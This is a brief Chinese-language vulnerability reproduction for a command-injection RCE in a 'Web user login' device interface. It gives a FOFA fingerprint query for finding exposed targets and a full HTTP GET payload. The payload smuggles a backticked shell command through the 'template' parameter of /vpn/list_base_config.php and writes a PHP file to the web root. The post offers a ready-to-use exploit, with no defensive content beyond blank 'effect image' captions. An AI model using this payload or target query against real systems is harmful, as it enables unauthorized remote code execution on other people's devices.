K35-1开源-Webuserlogin-RCE

fofa语法：

FOFA语法：body=“/upload/images/raisecom/back.gif” && title==“Web user login”

漏洞复现：

payload：

GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+echo+%28phpinfo()%29%3Bunlink%28__FILE__%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Ftest.php%60 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Encoding: gzip, deflate, br
Connection: close

效果图：

访问验证
效果图：